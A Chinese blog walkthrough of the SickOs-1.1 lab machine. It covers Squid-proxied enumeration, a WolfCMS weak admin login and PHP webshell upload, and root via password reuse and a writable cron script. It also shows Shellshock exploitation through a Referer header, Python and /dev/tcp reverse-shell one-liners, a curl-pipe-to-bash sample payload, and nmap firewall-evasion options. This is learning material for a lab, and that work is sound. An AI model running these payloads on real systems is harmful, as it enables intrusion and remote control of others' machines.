SickOs-1.1靶机渗透

免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。

前言:本次靶机涉及到了Squid代理,建议先看我之前写的文章由SickOS引发的关于对Squid的思考
后再看这篇,这里对Squid具体解释就不再说明了


信息搜集

nmap -sn 10.144.71.0/24
nmap -sV -p- -T5 10.144.71.206

这里扫出来一个之前没有碰到过的Squid
image

图中也说明了是代理,所以得进行配置,如果直接访问是不行的:

image

简单一点的话可以用火狐,设置里面搜一下代理,配置一下就行

image

配置完之后直接访问ip即可显示页面,只有一个blehhh,搜了一下,意思是对某件事物感到厌烦或不满意,主页面没啥东西,扫一下目录,这里有个注意点是因为是经过Squid代理的,因此后面要加上--proxy

dirsearch -u http://10.144.71.206/ --proxy=10.144.71.206:3128

扫出来一个robots.txt,访问一下:

image

直接说明了是wolfCMS

先看了主页面给的没发现可以利用的点,那依旧扫目录,扫出来很多config目录下的,虽然感觉都是无权看的:

image

有用的大概就是readme,updating那块,看了一下有wolfcms的具体版本为v0.8.2

image

网上找找有无相应漏洞,说是一个文件上传漏洞,但是得先找到管理员路径,之前用dirsearch没有扫到相应的路径,而且这里的路径也很奇怪,那先用searchsploit找找:

image

这里有一个刚好是我们现在的版本号,并且在MSF中也有,尝试一下:

image

没有找到哎,问了一下说是Metasploit 在后续版本(尤其是 6.x)里对老模块进行了大量清理:代码风格更新、依赖调整、RuboCop 检查、弃用旧路径等。很多 2015–2017 年的第三方或临时提交的 CMS exploit 都没留下来,那可以具体看一下rb文件:

searchsploit -w php/remote/40004.rb

image

这里面就标注出了URL,那么我们可以先回到浏览器访问一下

image

成功找到后台,弱口令admin admin直接成功登录


获取shell

可以上传文件,在file中上传一个本地的php木马:

<?php echo shell_exec($_GET['cmd']);?>

然后下面我们要去找上传的路径在哪里,这个可以看一下官方文档

image

这里就能看到相应的结构,大概率为public,访问一下确实可以:

image

那么尝试python反弹shell:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.144.71.177',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

image


后渗透

横向移动

接下来就是提权操作了,文件找了一下刚开始没翻到啥有用的文件,然后sudo需要密码,SUID看起来也没什么利用的点,再转内核看看,是 3.11.0对应的Ubuntu版本为Ubuntu 13.10,网上搜了一下感觉不能RCE,searchsploit再看一眼:

searchsploit Ubuntu 13.10

image

....针对的都是64位系统,靶机只是32位,那么内核提权看来无望

还记得最开始的时候我们扫目录扫到的一大堆config路径下的文件吗,现在找找config路径位置:

find / -name "config.php" 2>/dev/null

发现了数据库的账户密码:

define('DB_USER', 'root');
define('DB_PASS', 'john@123');
define('TABLE_PREFIX', '');

进行登录后翻了一遍也没找到啥有用的信息,那就很奇怪了,看下用户:

image

有一个sickos,直接su不行需要密码,切换到家目录下看看有没有相应文件:

image

还是没有结果,难不成密码就是john@123? 后面尝试之后发现还真是....

sudo -l看一下,直接能提权:

image

那么就拿下了:

image


计划任务

然后其实还可以用到计划任务提权,重点关注etc/cron*里面的内容:

image

cron.d路径下有一个automate文件,看一下具体内容:

image

给出了相应的路径,并且是以root权限运行(每分钟执行一次),那么就可以尝试写反弹shell,再开个监听:

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.144.71.177",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])' > /var/www/connect.py

image

成功提权!


复盘

本次更多的还是在信息搜集阶段,看了别的师傅写的之后感觉自己还欠缺好多,因此这里详细记录一下,

nmap扫描

首先就是开头扫网段的时候太过单一了,nmap一直用的就是这么两个命令,这里得进行拓展:

深度信息搜集

命令 作用 说明
nmap -sC -sV -O -p- -T4 目标IP 默认安全脚本扫描 -sC 会调用一大票默认脚本,能发现很多服务端配置问题和已知漏洞。-O 尝试识别操作系统。
nmap -sV --version-intensity 9 -p 端口号 目标IP 高强度服务版本探测 当你怀疑服务藏得比较深,或者 -sV 默认强度没认出来时用。数值 0-9,越高越激进越准,但也越容易被发现。
nmap --script=vuln -p- -T4 目标IP 漏洞扫描 直接跑 vuln 类脚本,专门检测目标是否存在已知漏洞。扫 Web 可能会有意外收获。

绕过防火墙与IDS/IPS

命令 作用 说明
nmap -sS -Pn -T2 -f -p 常用端口 目标IP 碎片化SYN扫描 -Pn 跳过主机发现(假设主机存活),-T2 极慢速,-f 把探测包分片,某些老防火墙无法重组检查。
nmap -sS -Pn --data-length 50 -p 端口 目标IP 随机数据填充 在每个探测包末尾随机填充50字节垃圾数据,让特征匹配更困难。
nmap -sS -Pn -D RND:3 -p 端口 目标IP 诱饵扫描 -D RND:3 随机生成3个假IP和目标IP一起扫,隐藏自己。注意,你得确认自己有权限和目标网络能通,不然可能没用。

二次端口发现

之前火狐里面设置代理之后是直接访问ip就进了,没有详细说明为什么这个默认的80端口就是开着的,这里用到的是httpx,工作原理如下:

httpx会对目标发起真实的 HTTP 请求,然后根据返回的状态码、响应头、页面内容(比如 -td 参数)来判断这是一个真实网站,还是被代理劫持的页面。因此,它能识别出哪些是 nmap 因代理干扰而误报的“假端口”

httpx -u http://10.144.71.206 -p 1-1000 -proxy http://10.144.71.206:3128 -sc -title -silent

-u http://:从单个 URL 开始探测

-p 1-1000:对目标的 1-1000 端口逐个发起 HTTP 请求。注意,httpx 默认用 HTTP 协议探测,如果端口跑了 HTTPS 可能会失败或报错,需要额外加 -tls 参数

-proxy http://:3128:通过 Squid 代理(默认端口 3128)转发所有请求

-sc -title:只输出响应的 HTTP 状态码和网页标题

-silent:只显示有结果的探测,其他头信息全抑制

image

shellshock利用

然后就是漏扫软件的利用【虽然现在真实环境大部分都是秒封】,这里用到的是nikto

nikto -h 10.144.71.206 -useproxy http://10.144.71.206:3128

原理简要介绍

但是好像没有找到所说的CVE-2014,反倒有一个CVE-2003... 还是阿帕奇1.3的古早版本。网上师傅说有一个CVE-2014的shellshock,下面是简要的原理:

Bash支持将函数定义导出到环境变量中,以便子进程继承使用。这原本是一个方便的功能,但实现上存在严重缺陷:

Bash 在解析以 () { 开头的环境变量时,会将其视为函数定义
正常情况下:函数定义结束后,Bash 应该停止解析
漏洞版本的问题:Bash 没有正确终止解析,会继续把函数定义后面的内容当作命令来执行

playload示例

() { :; }; /bin/cat /etc/passwd
  • () { :; }; → 定义一个空函数(:; 是空命令)
  • 后面的 /bin/cat /etc/passwd → 被 Bash 当作额外命令直接执行

当 Bash 被调用(例如通过 bash -c "some command")时,就会执行这个恶意命令

很多服务会把客户端请求中的 HTTP Header(如 User-Agent、Cookie、Referer、Host 等)直接转换成环境变量传递给后端脚本

常见攻击场景包括:Apache + mod_cgi / mod_cgid(CGI 脚本)、PHP 的 CGI 模式、 DHCP 客户端、OpenSSH ForceCommand或任何使用 Bash 处理环境变量的脚本或服务

攻击者只需在 HTTP 请求头中注入类似下面的 Payload:

User-Agent: () { :; }; /bin/bash -c 'curl http://攻击者IP/shell.sh | bash'

如果服务器的 CGI 脚本调用了 Bash 处理请求,攻击者就能执行任意命令【下载后门、反弹 shell、读取敏感文件等】

漏洞利用

先进行测试:

curl -v --proxy http://10.144.71.206:3128 http://10.144.71.206/cgi-bin/status -H "Referer:() {  test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"

这里的核心是() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit 前半段() { test;};作为Shellshock 的触发器,Bash 把它当成函数定义,但后面的分号让它继续执行后面的内容

echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit

  • echo 'Content-Type: text/plain' —— 伪造 HTTP 头,让浏览器正常显示

  • echo; echo; —— 输出两个空行,隔开响应头和响应体

  • /usr/bin/id—— 真正要执行的命令,查看当前用户身份

  • exit —— 执行完退出,避免干扰

image

这样就说明了漏洞存在,因此可以执行反弹shell:

curl -v --proxy http://10.144.71.206:3128 http://10.144.71.206/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /bin/bash -i >& /dev/tcp/10.144.71.177/4444 0>&1"

image

(这里root是因为之前那个定时任务写的提权没删)

或者传webshell:

curl -v --proxy http://10.144.71.206:3128 http://10.144.71.206/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/printf '<?php system(\$_GET[\"cmd\"]); ?>' > /var/www/cmd.php; exit"

printf的格式化字符串里可以用 \转义单引号,引号层级清晰

image

后续同样可以进行python反弹

BP设置上游代理

最后便是BP在遇到有代理的情况下该如何进行操作:

image

按图中框出来的布置进行选择即可【我的是v25.9】,然后*代表着全局代理,后面不用了还是删掉比较好,然后就能正常进行爆破了(又学到了BP新的用法,还有太多太多未知)

image


总结

本次靶机首先在于需要设置相应的代理才能访问80端口,然后80端口通过httpx扫描得到,接下来就是对wolfcms的信息搜集,从网络上找再利用漏扫工具找出可能存在漏洞的点,之后通过上传相应文件获取反弹shell,最后通过横向移动或者计划任务得到root权限,这个过程层层递进,有多种方法拿到shell,也是又学到了好多知识点,期待SickOs-1.2★,°:.☆( ̄▽ ̄)/$:.°★

posted @ 2026-04-25 19:36  ShoreKiten  阅读(3)  评论(0)    收藏  举报